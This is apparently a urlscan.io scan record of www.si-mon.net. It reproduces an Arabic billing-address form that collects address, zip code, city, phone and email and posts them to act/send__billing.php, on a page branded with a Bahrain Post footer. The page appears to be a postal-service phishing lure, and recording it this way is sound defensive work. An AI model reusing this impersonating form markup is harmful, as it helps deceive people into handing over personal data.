www.si-mon.net Open in urlscan Pro
62.210.16.61  Public Scan

Form analysis
1 forms found in the DOM

POST act/send__billing.php

<form action="act/send__billing.php" method="post">
  <input type="hidden" name="step" value="billing">
  <div class="row" dir="rtl">
    <div class="form-group col-md-6 mb-3" dir="rtl">
      <label for="address">العنوان</label>
      <input type="text" class="form-control" id="address" placeholder="العنوان" name="address">
    </div>
    <div class="form-group col-md-6 mb-3">
      <label for="zip">الرمز البريدي</label>
      <input type="text" inputmode="numeric" class="form-control" id="zip" placeholder="الرمز البريدي" name="zip">
    </div>
  </div>
  <div class="row" dir="rtl">
    <div class="form-group col-md-6 mb-3" dir="rtl">
      <label for="city">المدينة</label>
      <input type="text" class="form-control" id="city" placeholder="المدينة" name="city">
    </div>
  </div>
  <div class="row" dir="rtl">
    <div class="form-group col-md-6 mb-3" dir="rtl">
      <label for="phone">رقم الهاتف</label>
      <input type="text" inputmode="numeric" class="form-control" id="phone" placeholder="رقم الهاتف" name="phone">
    </div>
    <div class="form-group col-md-6 mb-3" dir="rtl">
      <label for="email">البريد الإلكتروني</label>
      <input type="email" class="form-control" id="email" placeholder="البريد الإلكتروني" name="email">
    </div>
  </div>
</form>

Text Content

المرجو إدخال معلومات العنوان الخاصة بكم



العنوان
الرمز البريدي
المدينة
رقم الهاتف
البريد الإلكتروني
التالي

© Bahrain Post - 2022